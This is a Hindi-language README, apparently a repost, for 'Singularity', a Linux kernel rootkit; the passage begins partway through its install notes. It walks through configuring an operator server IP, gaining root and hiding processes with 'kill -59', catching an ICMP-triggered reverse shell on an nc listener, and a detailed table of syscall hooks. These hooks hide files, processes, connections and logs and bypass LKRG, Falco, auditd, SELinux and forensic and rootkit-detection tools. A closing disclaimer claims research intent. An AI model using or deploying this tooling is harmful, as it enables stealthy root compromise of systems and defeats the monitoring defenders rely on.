बस इतना ही। मॉड्यूल स्वचालित रूप से:
- lsmod, /proc/modules, /sys/module से खुद को छिपाता है
- कर्नेल टेंट फ़्लैग्स को साफ़ करता है
- dmesg, journalctl -k, klogctl से संवेदनशील स्ट्रिंग्स को फ़िल्टर करता है
- आपके छिपे हुए फ़ाइलों और प्रक्रियाओं की सुरक्षा शुरू करता है

### महत्वपूर्ण नोट्स

**लोड करने के बाद मॉड्यूल स्वचालिक रूप से खुद को छिपा लेता है**

**कोई अनलोड सुविधा नहीं है - हटाने के लिए रीबूट आवश्यक है**

**पहले वीएम में परीक्षण करें - पुनरारंभ किए बिना हटाया नहीं जा सकता**

## कॉन्फ़िगरेशन

### अपना सर्वर IP और पोर्ट सेट करें

**`include/core.h` को संपादित करें:**```c
#define YOUR_SRV_IP "192.168.1.100"  // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } }  // IPv6 if needed

**संपादित करें `modules/bpf_hook.c`:**```c
#define HIDDEN_PORT 8081  // Must match SRV_PORT

**महत्वपूर्ण**: उपयुक्त नेटवर्क छिपाने और ICMP रिवर्स शेल कार्यक्षमता के लिए सभी पोर्ट परिभाषाएँ मेल खानी चाहिए।

## उपयोग

### प्रक्रियाएँ छिपाएँ```bash
# Hide current shell
kill -59 $$

# Hide specific process
kill -59 <PID>

<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/13713f834a730a67b38b024c092d77eb111a7d38e2fa0ac16a8f36ffd3506f90.png">
</p>

### रूट बनें

**सिग्नल-आधारित विधि:**```bash
kill -59 $$
id  # uid=0(root)

Packets are dropped at raw socket level (tpacket_rcv) and hidden from:
- /proc/net/* interfaces (tcp, tcp6, udp, udp6)
- /proc/net/nf_conntrack
- Netlink SOCK_DIAG queries (used by ss, lsof)
- Netlink NETFILTER/conntrack messages (used by conntrack tool)

<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/a77a916efc8ee8b9091b3a0ef3acfde44eff570bc022477a3906fac1f623993f.png">
</p>

### ICMP रिवर्स शेल

स्वचालित SELinux बायपास के साथ दूरस्थ रूप से एक छिपा हुआ रिवर्स शेल ट्रिगर करें:

**1. श्रोता प्रारंभ करें:**```bash
nc -lvnp 8081  # Use your configured port

**3. रूट शेल प्राप्त करें** (स्वचालित रूप से सभी चाइल्ड प्रोसेस के साथ छिपा हुआ, SELinux एन्फोर्सिंग मोड सक्रिय होने पर बायपास किया गया)

<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/6d501d17287ba7f674b766dd25b281d2b26d9f420baa3bbc5a9cc9863db541fc.png">
</p>

## सुरक्षा तंत्र

### Ftrace नियंत्रण सुरक्षा

ftrace को अक्षम करने के सभी प्रयास चुपचाप इंटरसेप्ट और ब्लॉक कर दिए जाते हैं:```bash
echo 0 > /proc/sys/kernel/ftrace_enabled       # Appears successful but does nothing

**पहचाने गए पैटर्न:**
- `debugfs:` उपसर्ग
- कोष्ठकों के साथ आईनोड सूची
- `Inode count:`, `Block count:`, `Filesystem volume name:`
- `Filesystem UUID:`, `e2fsck`, `Inode:`

### प्रक्रिया छिपाने का कार्यान्वयन

सिसकॉल और कर्नेल इंटरफेस से पूर्ण छिपाव:
- /proc/[pid]/* (openat, readlinkat अवरुद्ध)
- getdents, getdents64 (निर्देशिका सूची फ़िल्टर)
- stat, lstat, statx, newfstatat (मेटाडेटा छिपा हुआ)
- kill सिग्नल 0 के साथ (ESRCH लौटाता है)
- getsid, getpgid, getpgrp (ESRCH लौटाता है)
- sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval (ESRCH लौटाता है)
- getpriority (ESRCH लौटाता है)
- sysinfo (प्रक्रिया गणना समायोजित की गई)
- pidfd_open (ESRCH लौटाता है)
- TaskStats नेटलिंक क्वेरी (ESRCH लौटाता है)
- cgroup.procs से Cgroup PIDs फ़िल्टर

बाल प्रक्रियाएँ स्वचालित रूप से sched_process_fork ट्रेसपॉइंट हुक के माध्यम से ट्रैक की जाती हैं।

### LKRG बायपास

Singularity लिनक्स कर्नेल रनटाइम गार्ड के विरुद्ध व्यापक चोरी लागू करता है:

**बायपास की गई जाँचें:**
- प्रक्रिया क्रेडेंशियल सत्यापन (p_cmp_creds)
- कार्य संरचना अखंडता (p_cmp_tasks)
- कंट्रोल फ़्लो इंटीग्रिटी सत्यापन (p_ed_pcfi_validate_sp, p_ed_enforce_pcfi)
- कर्नेल अखंडता जाँच (p_check_integrity)
- एक्सप्लॉइट डिटेक्शन सबसिस्टम (p_exploit_detection_init)
- उपयोगकर्ता-मोड हेल्पर ट्रैकिंग (p_call_usermodehelper_entry, p_call_usermodehelper_exec_entry)
- कार्य डंपिंग और गणना (p_dump_task_f, ed_task_add)
- Kprobe ftrace हैंडलर इंटरसेप्शन

**विशेषताएँ:**
- स्वचालित LKRG डिटेक्शन और हुक स्थापना
- प्रक्रिया वंश सत्यापन (64 स्तरों तक गहरे पूरे प्रक्रिया पेड़ को छुपाता है)
- रिवर्स शेल ऑपरेशन के लिए UMH बायपास
- LKRG लोडिंग का पता लगाने के लिए मॉड्यूल सूचना प्रणाली

छिपी प्रक्रियाएँ सभी LKRG अखंडता सत्यापन तंत्रों के लिए अदृश्य हैं।

### Falco बायपास

Singularity एक व्यापक एंटी-EDR रक्षा प्रणाली लागू करता है जो eBPF-आधारित सुरक्षा उपकरणों को छिपी प्रक्रियाओं और नेटवर्क कनेक्शनों का पता लगाने से रोकता है। सुरक्षा उन कर्नेल फ़ंक्शनों को इंटरसेप्ट करके काम करती है जिनका उपयोग eBPF प्रोग्राम डेटा एकत्र करने और रिपोर्ट करने के लिए करते हैं।

**निम्न के विरुद्ध संरक्षित:**
- Falco (इवेंट-आधारित रनटाइम सुरक्षा)
- Tracee (सुरक्षा ट्रेसिंग)
- bpftool और ss BPF बैकएंड के साथ

**बहु-स्तरीय इंटरसेप्शन:**

1. **इटरेटर फ़िल्टरिंग** (bpf_iter_run_prog)
   - TCP/UDP इटरेटर से छिपे पोर्ट पर सॉकेट फ़िल्टर करता है
   - कार्य इटरेटर से प्रक्रियाओं और उनके बच्चों को छुपाता है
   - `ss` और प्रक्रिया गणना उपकरणों के माध्यम से पता लगाने को रोकता है

2. **रिंगबफर इवेंट ब्लॉकिंग** (bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit)
   - हेडर प्रारूप का विश्लेषण करके Falco इवेंट संरचनाओं का पता लगाता है
   - छिपे PID के लिए इवेंट आवंटन, सबमिशन और आउटपुट को ब्लॉक करता है
   - syscall इवेंट को Falco उपयोगकर्तास्पेस एजेंट तक पहुँचने से रोकता है

3. **BPF मैप मैनिपुलेशन** (bpf_map_lookup_elem, bpf_map_update_elem)
   - जब eBPF मैप में छिपे PID को खोजता है तो NULL लौटाता है
   - उन मैप इंसर्शन को चुपचाप छोड़ देता है जहाँ कुंजी एक छिपा PID है
   - eBPF सुरक्षा उपकरणों को छिपी प्रक्रियाओं को ट्रैक करने से रोकता है

4. **Perf इवेंट दमन** (perf_event_output, perf_trace_run_bpf_submit)
   - छिपी प्रक्रियाओं से perf-आधारित इवेंट सबमिशन को ब्लॉक करता है
   - लीगेसी eBPF उपकरणों को ट्रेस डेटा प्राप्त करने से रोकता है

5. **Seq फ़ाइल फ़िल्टरिंग** (bpf_seq_write, bpf_seq_printf)
   - लिखने से पहले आउटपुट डेटा में छिपे PID की स्कैन करता है
   - eBPF इटरेटर द्वारा उपयोग किए जाने वाले /proc इंटरफेस के माध्यम से लीकेज को रोकता है

6. **प्रोग्राम निष्पादन नियंत्रण** (__bpf_prog_run)
   - जब छिपी प्रक्रिया संदर्भ में चल रहा हो तो eBPF प्रोग्राम निष्पादन को ब्लॉक करता है
   - छिपी प्रक्रिया के आंतरिक भाग की किसी भी eBPF-आधारित निगरानी को रोकता है

**सॉकेट और कनेक्शन छिपाना:**
- प्रदर्शन के लिए छिपे IP पते को कैश करता है
- कॉन्फ़िगर किए गए पोर्ट और कॉन्फ़िगर किए गए IP के आधार पर सॉकेट फ़िल्टर करता है
- IPv4 और IPv6 दोनों कनेक्शनों को छुपाता है
- इटरेटर स्तर पर काम करता है (डेटा eBPF प्रोग्राम तक पहुँचने से पहले)

**प्रक्रिया वंश ट्रैकिंग:**
- मूल प्रक्रिया श्रृंखला को 10 स्तरों तक ट्रेस करता है
- छिपी प्रक्रियाओं के सभी वंशजों को स्वचालित रूप से छुपाता है
- सुनिश्चित करता है कि छिपाने के बाद उत्पन्न बाल प्रक्रियाएँ अदृश्य रहें

छिपी प्रक्रियाएँ और कनेक्शन eBPF सुरक्षा उपकरणों को कोई भी इवेंट उत्पन्न नहीं करते हैं।

## बायपास किए गए सुरक्षा उपकरण

**प्रक्रिया निगरानी**: ps, top, htop, atop, pidof

**फ़ाइलसिस्टम**: ls, find, locate, stat, lstat, readlink, tree

**डिस्क फोरेंसिक**: debugfs, e2fsck (आउटपुट राइट हुक के माध्यम से फ़िल्टर)

**मेमोरी फोरेंसिक**: Volatility, crash, gdb (/proc/kcore फ़िल्टरिंग के माध्यम से)

**नेटवर्क**: netstat, ss, lsof, tcpdump, wireshark, conntrack, nload, iftop, /proc/net/*

**लॉग और ट्रेसेस**: dmesg, journalctl, klogctl, strace, ltrace, ftrace, perf

**रूटकिट डिटेक्टर**: unhide, chkrootkit, rkhunter, OSSEC

**मॉड्यूल डिटेक्शन**: lsmod, modinfo, /sys/module, /proc/modules, kmod

**कर्नेल सुरक्षा**: LKRG (लिनक्स कर्नेल रनटाइम गार्ड)

**eBPF सुरक्षा उपकरण**:
- Falco (रनटाइम सुरक्षा निगरानी)
- Tracee (सुरक्षा ट्रेसिंग)
- bpftrace, bpftool (जब निगरानी के लिए उपयोग किया जाता है)

**EDR/निगरानी**: io_uring-आधारित मॉनिटर, कुछ Linux EDR समाधान, auditd

## सिस्कॉल हुक

| सिस्कॉल/फ़ंक्शन | मॉड्यूल | उद्देश्य |
|---------|--------|---------|
| getdents, getdents64 | hiding_directory.c | निर्देशिका प्रविष्टियाँ फ़िल्टर करें, PID छुपाएँ |
| stat, lstat, newstat, newlstat, statx, newfstatat | hiding_stat.c | फ़ाइल मेटाडेटा छुपाएँ, nlink समायोजित करें |
| getpriority | hiding_stat.c | छिपे PID के लिए प्राथमिकता क्वेरी छुपाएँ |
| openat | open.c | छिपे /proc/[pid] तक पहुँच को ब्लॉक करें |
| readlinkat | hiding_readlink.c | सिमलिंक रिज़ॉल्यूशन को ब्लॉक करें |
| chdir | hiding_chdir.c | cd को छिपी निर्देशिकाओं में रोकें |
| read, pread64, readv, preadv | clear_taint_dmesg.c | कर्नेल लॉग, kcore, kallsyms, cgroup PIDs, nf_conntrack फ़िल्टर करें |
| do_syslog | clear_taint_dmesg.c | klogctl()/syslog() कर्नेल रिंग बफ़र फ़िल्टर करें |
| sched_debug_show | clear_taint_dmesg.c | शेड्यूलर डीबग आउटपुट फ़िल्टर करें |
| write, writev, pwrite64, pwritev, pwritev2 | hooks_write.c | ftrace नियंत्रण ब्लॉक करें + डिस्क फोरेंसिक फ़िल्टर करें + journalctl आउटपुट फ़िल्टर करें |
| sendfile, sendfile64, copy_file_range | hooks_write.c | संरक्षित फ़ाइलों में फ़ाइल कॉपी ब्लॉक करें |
| splice, vmsplice, tee | hooks_write.c | संरक्षित फ़ाइलों में पाइप-आधारित राइट ब्लॉक करें |
| io_uring_enter | hooks_write.c | PID कैशिंग के साथ एसिंक्रोनस I/O बायपास ब्लॉक करें |
| kill | become_root.c | रूट ट्रिगर + प्रक्रियाएँ छुपाएँ |
| getsid, getpgid, getpgrp | become_root.c | छिपे PID के लिए ESRCH लौटाता है |
| sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval | become_root.c | छिपे PID के लिए ESRCH लौटाता है |
| sysinfo | become_root.c | प्रक्रिया गणना समायोजित करता है |
| pidfd_open | become_root.c | छिपे PID के लिए ESRCH लौटाता है |
| tcp4_seq_show, tcp6_seq_show | hiding_tcp.c | /proc/net से TCP कनेक्शन छुपाएँ |
| udp4_seq_show, udp6_seq_show | hiding_tcp.c | /proc/net से UDP कनेक्शन छुपाएँ |
| tpacket_rcv | hiding_tcp.c | रॉ सॉकेट स्तर पर पैकेट छोड़ें |
| recvmsg, recvfrom | audit.c | नेटलिंक SOCK_DIAG और NETFILTER संदेश फ़िल्टर करें |
| netlink_unicast | audit.c | छिपे PID के लिए ऑडिट संदेश छोड़ें |
| audit_log_start | audit.c | छिपी प्रक्रियाओं के लिए ऑडिट लॉग निर्माण ब्लॉक करें |
| bpf | bpf_hook.c | छिपे PID के लिए eBPF ऑपरेशन फ़िल्टर करें |
| bpf_iter_run_prog | bpf_hook.c | BPF इटरेटर से छिपी प्रक्रियाओं को छुपाएँ |
| bpf_seq_write, bpf_seq_printf | bpf_hook.c | BPF seq फ़ाइल आउटपुट फ़िल्टर करें |
| bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit | bpf_hook.c | रिंगबफर के माध्यम से Falco इवेंट फ़िल्टर करें |
| bpf_map_lookup_elem, bpf_map_update_elem | bpf_hook.c | BPF मैप ऑपरेशन फ़िल्टर करें |
| perf_event_output, perf_trace_run_bpf_submit | bpf_hook.c | छिपी प्रक्रियाओं के लिए perf इवेंट फ़िल्टर करें |
| __bpf_prog_run | bpf_hook.c | BPF प्रोग्राम निष्पादन फ़िल्टर करें |
| icmp_rcv | icmp.c | SELinux बायपास के साथ ICMP-ट्रिगर रिवर्स शेल |
| taskstats_user_cmd | task.c | छिपे PID के लिए TaskStats क्वेरी ब्लॉक करें |
| sched_process_fork (tracepoint) | trace.c | बाल प्रक्रियाओं को ट्रैक करें |
| kprobe_ftrace_handler | lkrg_bypass.c | LKRG kprobe डिटेक्शन बायपास करें |
| p_cmp_creds, p_cmp_tasks | lkrg_bypass.c | LKRG क्रेडेंशियल जाँच बायपास करें |
| p_ed_pcfi_validate_sp, p_ed_enforce_pcfi | lkrg_bypass.c | LKRG CFI सत्यापन बायपास करें |
| p_check_integrity | lkrg_bypass.c | LKRG अखंडता जाँच बायपास करें |
| p_dump_task_f, ed_task_add | lkrg_bypass.c | LKRG कार्य गणना से छुपाएँ |
| p_call_usermodehelper_entry, p_call_usermodehelper_exec_entry | lkrg_bypass.c | LKRG UMH ट्रैकिंग बायपास करें |
| p_exploit_detection_init | lkrg_bypass.c | LKRG एक्सप्लॉइट डिटेक्शन बायपास करें |
| tainted_mask (kthread) | reset_tainted.c | कर्नेल टेंट फ़्लैग साफ़ करें |
| module_hide_current | hide_module.c | मॉड्यूल सूचियों और sysfs से हटाएँ |

**बहु-आर्किटेक्चर समर्थन**: x86_64 (`__x64_sys_*`) और ia32 (`__ia32_sys_*`, `__ia32_compat_sys_*`)

## परीक्षण किए गए कर्नेल संस्करण

| कर्नेल संस्करण | वितरण | स्थिति | नोट्स |
|---------------|--------------|--------|-------|
| 6.8.0-79-generic | Ubuntu 22.04 / 24.04 | स्थिर | प्राथमिक विकास वातावरण |
| 6.12.0-174.el10.x86_64 | CentOS Stream 10 | स्थिर | RHEL-आधारित कर्नेल |
| 6.12.48+deb13-amd64 | Debian 13 (Trixie) | स्थिर | डेबियन कर्नेल |
| 6.17.8-300.fc43.x86_64 | Fedora 43 | स्थिर | SELinux लागू बायपास मान्य |
| 6.17.0-8-generic | Ubuntu 25.10 | स्थिर | नया सामान्य कर्नेल, पूरी तरह कार्यात्मक |
| 6.14.0-37-generic | Ubuntu 24.04 | स्थिर | LKRG और Falco बायपास मान्य |
| 6.12.25-amd64 | Kali Linux | स्थिर | Kali 6.12.25-1kali1 |

## कथानक

दुर्भाग्य से कुछ लोगों के लिए...

इन सभी फ़िल्टर, सुरक्षा और हुक के बावजूद, अभी भी इस रूटकिट का पता लगाने के तरीके मौजूद हैं।

लेकिन यदि आप एक अच्छे फोरेंसिक विश्लेषक, DFIR पेशेवर या मैलवेयर शोधकर्ता हैं, तो मैं आपको इसे स्वयं खोजने दूँगा।

मैं इसके लिए पैच नहीं करूँगा, क्योंकि यह और भी अधिक OP होगा ;)

## क्रेडिट्स

**Singularity** को **MatheuZSecurity** (Matheus Alves) ने बनाया है

- LinkedIn: [mathsalves](https://www.linkedin.com/in/mathsalves/)
- Discord: `kprobe`

**रूटकिट शोधकर्ताओं में शामिल हों**: Discord - [https://discord.gg/66N5ZQppU7](https://discord.gg/66N5ZQppU7)

### कोड संदर्भ

- [fuxSocy](https://github.com/iurjscsi1101500/fuxSocy/tree/main)
- [Adrishya](https://github.com/malefax/Adrishya/blob/main/Adrishya.c#L158)
- [MatheuZSecurity/Rootkit](https://github.com/MatheuZSecurity/Rootkit)

### अनुसंधान प्रेरणा

- [KoviD](https://github.com/carloslack/KoviD)
- [Basilisk](https://github.com/lil-skelly/basilisk)
- [GOAT Diamorphine rootkit](https://github.com/m0nad/Diamorphine)

## योगदान

- सुधार के लिए पुल रिक्वेस्ट सबमिट करें
- GitHub मुद्दों के माध्यम से बग की रिपोर्ट करें
- नई चोरी तकनीकों का सुझाव दें
- डिटेक्शन विधियाँ साझा करें (अनुसंधान के लिए)

**कोई बग मिला?** एक मुद्दा खोलें या Discord पर मुझसे संपर्क करें: `kprobe`

**केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए**

Singularity को कर्नेल-स्तरीय स्टील्थ तकनीकों की सीमाओं का पता लगाने के लिए एक शोध परियोजना के रूप में बनाया गया था। लक्ष्य एक प्रश्न का उत्तर देना है: **"यदि कोई रूटकिट किसी सिस्टम में घुसपैठ करने और लोड होने में सफल हो जाता है, तो वह कितनी दूर तक छिप सकता है?"**

यह परियोजना निम्नलिखित के लिए मौजूद है:
- आक्रामक सुरक्षा अनुसंधान की सीमाओं को आगे बढ़ाना
- रक्षकों को यह समझने में मदद करना कि उनका सामना किससे है
- कर्नेल आंतरिक और चोरी तकनीकों के लिए एक सीखने का संसाधन प्रदान करना
- सुरक्षा समुदाय के ज्ञान आधार में योगदान देना

**मैं इस सॉफ़्टवेयर के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं हूँ।** यदि आप Singularity का उपयोग दुर्भावनापूर्ण उद्देश्यों के लिए चुनते हैं, तो यह आपकी जिम्मेदारी है। यह उपकरण केवल अनुसंधान, शिक्षा और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है।

केवल उन सिस्टम पर परीक्षण करें जिनके आप मालिक हैं या जिनके लिए आपके पास स्पष्ट लिखित अनुमति है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अधिकांश क्षेत्राधिकारों में अवैध है।

**एक शोधकर्ता बनें, अपराधी नहीं।**